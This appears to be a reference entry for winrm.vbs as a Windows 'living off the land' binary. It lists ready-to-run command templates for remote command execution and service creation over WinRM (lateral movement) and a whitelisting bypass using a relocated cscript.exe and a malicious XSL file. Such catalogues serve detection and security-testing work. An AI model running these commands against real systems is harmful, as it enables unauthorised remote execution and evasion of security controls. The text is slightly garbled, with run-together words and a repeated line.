Script used for manage Windows RM settings Located at: C:\Windows\System32\winrm.vbs; C:\Windows\SysWOW64\winrm.vbs.
winrmwinrmSandbox: execFile · Timeout: 30s
security.execution.command security.defense-evasion.bypass Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol (Proxy execution)
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol (Proxy execution)
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe. (Execute arbitrary, unsigned code via XSL script)
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:prettywinrm is a Windows LOLBin. Script used for manage Windows RM settings Located at: C:\Windows\System32\winrm.vbs; C:\Windows\SysWOW64\winrm.vbs.